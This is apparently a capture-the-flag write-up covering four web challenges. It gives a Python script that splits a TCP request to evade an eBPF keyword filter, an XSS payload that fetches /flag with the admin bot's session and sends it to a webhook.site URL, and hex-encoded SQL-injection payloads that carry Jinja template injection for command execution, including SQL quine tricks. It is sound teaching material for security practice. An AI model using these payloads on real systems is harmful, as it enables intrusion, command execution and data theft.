There is a web server that serve static file via nginx and loads an eBPF program that is firewall.c' on eth0(ingress + egress). That eBPF filter drops anyIPv4 TCP packet whose TCP header+payload contain substring flag or character %.
So a request like
GET /flag.html HTTP/1.1
will get rejected because it contain substring flag in one packet
This code from firewall.c clarify that the The eBPF program scans per packet, not per TCP stream. It does not reassemble TCP segments. That means we can bypass the keyword filter by ensuring flag never appears contiguously within a single TCP segment.
Script
import socket, time, reHOST = "127.0.0.1"PORT = 5000s = socket.create_connection((HOST, PORT))s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)s.sendall(b"GET /fl")req2 = ( b"ag.html HTTP/1.1\r\n" b"Host: x\r\n" b"Range: bytes=133-\r\n" b"Connection: close\r\n" b"\r\n")s.sendall(req2)data = b""while True: chunk = s.recv(4096) if not chunk: break data += chunks.close()m = re.search(rb"[A-Za-z0-9_]+\{[^}]+\}", data)print(m.group(0).decode() if m else data.decode(errors="replace"))
personal blog
This chall give us a web server which has features like upload blog and report via bot. Our objective is to get flag from /flag path
(async () => { let m = document.cookie.match(/sid_prev=([^;]+)/); if (m) { document.cookie = 'sid=' + m[1] + ';path=/'; let r = await fetch('/flag'); let f = await r.text(); fetch('https://webhook.site/91e5fda5-534e-4c59-82ac-a9151a91ea83' + encodeURIComponent(f)); }})()
Input this payload to blog, then make report via which leads to this url blog.
Why this work?, because bot is login use admin account
then for SQLI we need to make user column have value of jinja payload because /home will render session["user"]
\
for username and
) UNION SELECT 1, {{ url_for.__globals__['os'].popen('/readflag').read() }}) --
for password,
But, becase there is filtering for ' we have to convert jinja payload to hex then we convert again to jinja
) UNION SELECT 1,CAST(0x7b7b2075726c5f666f722e5f5f676c6f62616c735f5f5b276f73275d2e706f70656e28272f72656164666c616727292e726561642829207d7d AS CHAR) --
no quotes 2
This chall have same vuln with first no quotes but with slight changes in
@app.post("/login")def login(): username = request.form.get("username", "") password = request.form.get("password", "") if waf(username) or waf(password): return render_template( "login.html", error="No quotes allowed!", username=username, ) query = ( "SELECT username, password FROM users " f"WHERE username = ('{username}') AND password = ('{password}')" ) try: conn = get_db_connection() with conn.cursor() as cur: cur.execute(query) row = cur.fetchone() except pymysql.MySQLError: return render_template( "login.html", error=f"Invalid credentials.", username=username, ) finally: try: conn.close() except Exception: pass if not row: return render_template( "login.html", error="Invalid credentials.", username=username, ) if not username == row[0] or not password == row[1]: return render_template( "login.html", error="Invalid credentials.", username=username, ) session["user"] = row[0] return redirect(url_for("home"))
this code
if not username == row[0] or not password == row[1]:
make us can`t use first no quotes payload because we have to manage input same as database data.
So in here we will use SQL Quine to manipulate password in row, so it will be equal to password in input.
") UNION SELECT 0x7b7b6c697073756d2e5f5f676c6f62616c735f5f2e6f732e706f70656e28726571756573742e617267732e63292e7265616428297d7d5c, REPLACE(0x024, 0x24, HEX(0x024))--
no quotes 3
Same as no quotes 1 and 2, this chall contain SSTI and SQLI but with some change
@app.post("/login")def login(): username = request.form.get("username", "") password = request.form.get("password", "") if waf(username) or waf(password): return render_template( "login.html", error="No quotes or periods allowed!", username=username, ) query = ( "SELECT username, password FROM users " f"WHERE username = ('{username}') AND password = ('{password}')" ) try: conn = get_db_connection() with conn.cursor() as cur: cur.execute(query) row = cur.fetchone() except pymysql.MySQLError: return render_template( "login.html", error=f"Invalid credentials.", username=username, ) finally: try: conn.close() except Exception: pass if not row: return render_template( "login.html", error="Invalid credentials.", username=username, ) if not username == row[0] or not hashlib.sha256(password.encode()).hexdigest() == row[1]: return render_template( "login.html", error="Invalid credentials.", username=username, ) session["user"] = row[0] return redirect(url_for("home"))
this code
if not username == row[0] or not hashlib.sha256(password.encode()).hexdigest() == row[1]:
is very similar with no quotes 2 where we have to ensure input same as database data, so we will also use quine
,then there are also changes to the filtering system
def waf(value: str) -> bool: blacklist = ["'", '"', "."] return any(char in value for char in blacklist)
this make can't use first no quotes payload because there is . character.
Instead of lipsum.__globals__, we use lipsum|attr("__globals__")
,then for password
) UNION SELECT CAST(0x7B7B75726C5F666F725B64696374285F5F676C6F62616C735F5F3D31297C6C6973747C66697273745D5B64696374286F733D31297C6C6973747C66697273745D5B6469637428706F70656E3D31297C6C6973747C66697273745D28726571756573745B6469637428617267733D31297C6C6973747C66697273745D5B6469637428636D643D31297C6C6973747C66697273745D295B6469637428726561643D31297C6C6973747C66697273745D28297D7D5C AS CHAR), SHA2(CAST(REPLACE(CAST(@ AS CHAR), 0x40, CONCAT(0x3078, HEX(@))) AS CHAR), 256) --